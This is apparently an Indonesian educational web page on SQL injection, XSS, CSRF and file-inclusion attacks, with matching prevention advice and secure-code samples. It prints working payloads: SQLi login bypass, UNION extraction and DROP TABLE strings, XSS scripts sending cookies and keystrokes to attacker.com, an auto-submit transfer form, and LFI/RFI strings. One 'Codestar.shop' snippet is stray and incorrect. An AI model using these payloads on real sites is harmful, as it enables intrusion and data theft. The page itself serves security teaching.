SQL Injection &
Web Attacks
Media pembelajaran interaktif lengkap tentang serangan keamanan web โ pelajari cara kerja serangan, simulasikan, dan pelajari cara pencegahannya.
SQL Injection
Salah satu serangan web paling berbahaya dan paling umum yang menargetkan basis data aplikasi web.
๐ง Apa itu SQL Injection?
SQL Injection (SQLi) adalah teknik serangan siber di mana penyerang menyisipkan atau "menginjeksikan" kode SQL berbahaya ke dalam input yang diterima oleh aplikasi, dengan tujuan memanipulasi atau membajak query database yang dieksekusi oleh server.
Serangan ini pertama kali didokumentasikan pada tahun 1998 oleh Jeff Forristal dan masih menjadi salah satu kerentanan paling umum di dunia, masuk dalam OWASP Top 10 โ daftar 10 risiko keamanan aplikasi web paling kritis.
โ๏ธ Cara Kerja SQL Injection
Aplikasi web yang rentan biasanya menggabungkan input pengguna langsung ke dalam query SQL tanpa sanitasi. Misalnya, kode PHP yang buruk:
// โ KODE BERBAHAYA โ JANGAN GUNAKAN! $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; // Query dikirim langsung ke database โ RENTAN! $result = mysqli_query($conn, $query);
Jika penyerang memasukkan admin' -- sebagai username, maka query yang terbentuk menjadi:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...' -- Tanda "--" membuat sisa query diabaikan -- Penyerang masuk sebagai 'admin' tanpa password!
๐ฏ Jenis-Jenis SQL Injection
In-band SQLi
Paling umum. Penyerang menggunakan saluran yang sama untuk menyerang dan mendapat hasil. Contoh: Error-based & Union-based.
Blind SQLi
Tidak ada data yang langsung ditampilkan. Penyerang menyimpulkan data dari respons aplikasi (Boolean-based & Time-based).
Out-of-band SQLi
Menggunakan saluran berbeda untuk mengambil data, misalnya melalui DNS atau HTTP request ke server lain.
Stacked Queries
Menambahkan query SQL tambahan setelah query asli untuk menjalankan perintah berbahaya seperti DELETE atau DROP.
๐ฅ Dampak SQL Injection
SQL Injection bisa menyebabkan kerugian sangat besar, di antaranya:
- Pembocoran Data โ Mencuri seluruh isi database: username, password, data kartu kredit, informasi pribadi.
- Autentikasi Bypass โ Masuk ke sistem tanpa memerlukan password yang benar.
- Modifikasi Data โ Mengubah, menghapus, atau menambah data dalam database.
- Eksekusi Perintah Sistem โ Pada konfigurasi tertentu, bisa menjalankan perintah di server OS.
- Denial of Service โ Membuat database tidak dapat diakses dengan perintah DROP atau DELETE massal.
Contoh & Simulasi Serangan
Pelajari bagaimana SQL Injection bekerja secara nyata melalui ilustrasi dan simulasi interaktif.
๐ Skenario: Form Login yang Rentan
Bayangkan sebuah website toko online memiliki halaman login sederhana. Di balik layar, kode PHP-nya seperti ini:
<?php $user = $_POST['username']; // Input langsung dari form $pass = md5($_POST['password']); $sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'"; $result = mysqli_query($db, $sql); if (mysqli_num_rows($result) > 0) { echo "Login berhasil!"; } else { echo "Username/password salah."; }
๐ก Teknik Injeksi Umum
Berikut adalah payload SQL Injection yang sering digunakan penyerang (hanya untuk tujuan edukasi):
-- 1. Login Bypass (comment out password check) Username: admin' -- Password: (apa saja) -- 2. Login Bypass (OR selalu true) Username: ' OR '1'='1 Password: ' OR '1'='1 -- 3. UNION Attack (ekstrak data tabel lain) ' UNION SELECT username,password FROM admin -- -- 4. Drop Table (destruktif) '; DROP TABLE users; -- -- 5. Time-based Blind SQLi '; IF(1=1) WAITFOR DELAY '0:0:5' --
Username: admin' --
Username: ' OR '1'='1
๐ Analisis Query
Ketika penyerang memasukkan admin' --, berikut yang terjadi step by step:
-- Query ASLI yang diharapkan developer: SELECT * FROM users WHERE username='[input]' AND password='[hash]' -- Query yang TERJADI setelah injeksi admin' -- SELECT * FROM users WHERE username='admin' --' AND password='xxx' -- Apa yang terjadi: -- โ WHERE username='admin' โ dicek -- โ AND password='xxx' โ diabaikan karena -- -- ๐จ Hasil: User 'admin' ditemukan โ LOGIN BERHASIL!
Serangan Web Lainnya
Selain SQL Injection, ada banyak jenis serangan web berbahaya yang perlu diketahui oleh setiap developer.
๐ญ XSS โ Cross-Site Scripting
Cross-Site Scripting (XSS) adalah serangan di mana penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang kemudian dieksekusi oleh browser pengguna lain yang mengunjungi halaman tersebut.
Stored XSS
Skrip jahat disimpan di database dan ditampilkan ke semua pengunjung. Paling berbahaya.
Reflected XSS
Skrip dikirim melalui URL dan langsung dieksekusi. Korban harus klik link berbahaya.
DOM-based XSS
Memanipulasi DOM browser langsung tanpa melibatkan server.
-- Payload XSS sederhana (alert popup) <script>alert('XSS Berhasil!')</script> -- Steal cookies (session hijacking) <script> document.location='http://attacker.com/steal?c='+document.cookie </script> -- Keylogger XSS <script> document.onkeypress = function(e) { new Image().src = 'http://attacker.com/log?k='+e.key; } </script>
๐ฃ CSRF โ Cross-Site Request Forgery
CSRF adalah serangan yang memaksa browser pengguna yang sudah login untuk membuat permintaan tidak sah ke aplikasi web target, tanpa sepengetahuan pengguna.
Contoh skenario: Pengguna login ke internet banking, lalu tanpa sengaja mengklik link berbahaya yang secara diam-diam mengirim transfer uang ke rekening penyerang.
<!-- Halaman berbahaya yang dikirim penyerang --> <html> <body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST"> <input name="to" value="rekening_penyerang"> <input name="amount" value="10000000"> </form> </body> </html> // Jika korban membuka halaman ini saat masih login // di bank.com, transfer akan otomatis dikirim!
๐ File Inclusion Attack
Serangan ini memanfaatkan fungsi include/require PHP yang tidak aman untuk menyisipkan file berbahaya ke dalam server.
LFI โ Local File Inclusion
Menyisipkan file yang sudah ada di server. Bisa membaca file sensitif seperti /etc/passwd atau file konfigurasi.
RFI โ Remote File Inclusion
Menyisipkan file dari server lain (URL eksternal). Bisa mengeksekusi kode PHP berbahaya dari internet.
// Kode PHP rentan $page = $_GET['page']; include($page . ".php"); // LFI Attack โ baca file sensitif: ?page=../../../../etc/passwd%00 // RFI Attack โ eksekusi kode dari internet: ?page=http://attacker.com/malicious
๐ Serangan Lainnya
DDoS
Membanjiri server dengan traffic palsu hingga tidak bisa melayani pengguna normal.
Brute Force
Mencoba semua kombinasi password hingga berhasil. Efektif pada sistem tanpa rate limiting.
Clickjacking
Menyembunyikan tombol berbahaya di bawah tampilan halaman normal agar pengguna tidak sengaja mengkliknya.
Open Redirect
Memanfaatkan redirect yang tidak tervalidasi untuk mengarahkan pengguna ke situs phishing.
Pencegahan Serangan Web
Pelajari strategi dan teknik terbaik untuk melindungi aplikasi web dari berbagai serangan.
๐ 1. Parameterized Queries / Prepared Statements
Ini adalah pertahanan terpenting terhadap SQL Injection. Dengan prepared statements, query dan data dipisahkan sehingga input pengguna tidak pernah dieksekusi sebagai kode SQL.
// โ CARA AMAN MENGGUNAKAN PDO $stmt = $db->prepare( "SELECT * FROM users WHERE username = ? AND password = ?" ); $stmt->execute([$username, $password]); // Atau dengan named parameters (lebih jelas): $stmt = $db->prepare( "SELECT * FROM users WHERE id = :id" ); $stmt->execute(['id' => $id]); // Input pengguna TIDAK BISA menjadi kode SQL โ
# โ Menggunakan ORM (Object-Relational Mapping) from sqlalchemy import text # Parameterized query dengan SQLAlchemy result = db.execute( text("SELECT * FROM users WHERE username = :u"), {"u": username} ) # Atau menggunakan ORM model (PALING AMAN) user = User.query.filter_by(username=username).first()
โ 2. Input Validation & Sanitization
Selalu validasi dan sanitasi semua input pengguna sebelum diproses atau disimpan. Prinsip: "Trust nothing, validate everything."
// โ Validasi tipe data $id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT); if (!$id) { die("ID tidak valid"); } // โ Sanitasi HTML untuk mencegah XSS $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8'); // โ Validasi format email $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL); // โ Whitelist characters yang diizinkan if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) { die("Username mengandung karakter tidak valid"); }
๐๏ธ 3. Framework Security Features
Gunakan framework modern yang sudah memiliki fitur keamanan bawaan. Framework seperti Laravel, Django, Spring, dan Express.js memiliki proteksi terhadap SQLi, XSS, dan CSRF secara default.
// โ Laravel secara otomatis menggunakan prepared statements $user = User::where('email', $email)->first(); // โ CSRF Protection sudah aktif di semua form <form> @csrf <input type="text" name="username"> </form> // โ Output escaping otomatis di Blade template {{ $comment }} // Otomatis di-escape (aman dari XSS) {!! $comment !!} // RAW โ gunakan hanya jika perlu!
๐ 4. HTTP Security Headers
Tambahkan header keamanan HTTP untuk melindungi dari berbagai serangan browser-based.
# Content Security Policy โ cegah XSS add_header Content-Security-Policy "default-src 'self'"; # Cegah Clickjacking add_header X-Frame-Options "SAMEORIGIN"; # Cegah MIME Sniffing add_header X-Content-Type-Options "nosniff"; # Wajibkan HTTPS add_header Strict-Transport-Security "max-age=31536000"; # CSRF via SameSite Cookie Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
๐ก๏ธ Ringkasan Strategi Pencegahan
Parameterized Queries
Pisahkan data dari query SQL. Gunakan prepared statements di semua interaksi database.
Input Validation
Validasi semua input dari sisi server. Jangan andalkan validasi client-side saja.
Framework Security
Gunakan framework modern dengan ORM dan fitur keamanan bawaan yang sudah teruji.
CSP & Headers
Tambahkan HTTP security headers untuk perlindungan di level browser.
Least Privilege
Database user hanya boleh punya izin yang diperlukan โ jangan gunakan root/admin.
WAF & Monitoring
Gunakan Web Application Firewall dan monitor log untuk mendeteksi serangan.
Kode Aman & Best Practices
Panduan lengkap menulis kode yang aman menggunakan berbagai bahasa pemrograman dan framework.
๐ Parameterized Query di PHP
Berikut adalah contoh kode aman menggunakan PDO (PHP Data Objects) yang direkomendasikan untuk semua proyek PHP modern:
<?php // โ Koneksi database yang aman try { $pdo = new PDO( "mysql:host=localhost;dbname=myapp;charset=utf8mb4", "db_user", "password", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, // Penting! ] ); } catch (PDOException $e) { error_log($e->getMessage()); // Log error, jangan tampilkan! die("Koneksi database gagal."); } // โ Query SELECT aman function getUserById(PDO $pdo, int $id): ?array { $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id = :id"); $stmt->execute(['id' => $id]); return $stmt->fetch() ?: null; } // โ Query INSERT aman function createUser(PDO $pdo, string $name, string $email): int { $stmt = $pdo->prepare( "INSERT INTO users (name, email, created_at) VALUES (:name, :email, NOW())" ); $stmt->execute(['name' => $name, 'email' => $email]); return (int) $pdo->lastInsertId(); } // โ Codestar.shop: $stmt = $db->query("SELECT * FROM users WHERE id = ?", [$id]);
๐ Python โ Kode Aman dengan Flask & SQLAlchemy
from flask import Flask, request, jsonify from flask_sqlalchemy import SQLAlchemy from markupsafe import escape # Untuk XSS prevention app = Flask(__name__) db = SQLAlchemy(app) # โ Model ORM โ query otomatis parameterized class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True) # โ Endpoint login yang aman @app.route('/login', methods=['POST']) def login(): username = escape(request.form.get('username', '')) user = User.query.filter_by(username=username).first() if user: return jsonify({'status': 'success'}) return jsonify({'status': 'error'}), 401
๐จ JavaScript/Node.js โ Kode Aman
const mysql = require('mysql2/promise'); const validator = require('validator'); // Input validation const DOMPurify = require('isomorphic-dompurify'); // XSS prevention // โ Query aman dengan placeholders async function getUser(db, userId) { // Validasi input if (!validator.isInt(String(userId))) { throw new Error('ID tidak valid'); } // Parameterized query const [rows] = await db.execute( 'SELECT id, name FROM users WHERE id = ?', [userId] // Selalu array ); return rows[0] || null; } // โ Sanitasi output untuk mencegah XSS const cleanComment = DOMPurify.sanitize(userComment); document.getElementById('comment').innerHTML = cleanComment;
๐ Password Hashing yang Benar
// โ BURUK โ MD5 mudah di-crack $hash = md5($password); // โ BAIK โ bcrypt dengan cost factor $hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]); // โ TERBAIK โ Argon2id (PHP 7.3+) $hash = password_hash($password, PASSWORD_ARGON2ID); // โ Verifikasi password yang aman if (password_verify($input, $storedHash)) { echo "Password benar!"; }
Lab Simulasi Interaktif
Praktikkan pengetahuan Anda dengan simulasi lengkap berbagai serangan web dalam lingkungan yang aman.
Lihat perbedaan bagaimana query yang rentan vs aman menangani input berbahaya.
Lihat bagaimana CSRF token melindungi form dari request palsu.
Lihat bagaimana htmlspecialchars() mencegah XSS dengan mengubah karakter berbahaya.
Tanya AI Security Expert
Diskusikan topik keamanan web dengan AI. Tanyakan apa saja tentang SQL Injection, XSS, CSRF, dan topik cybersecurity lainnya.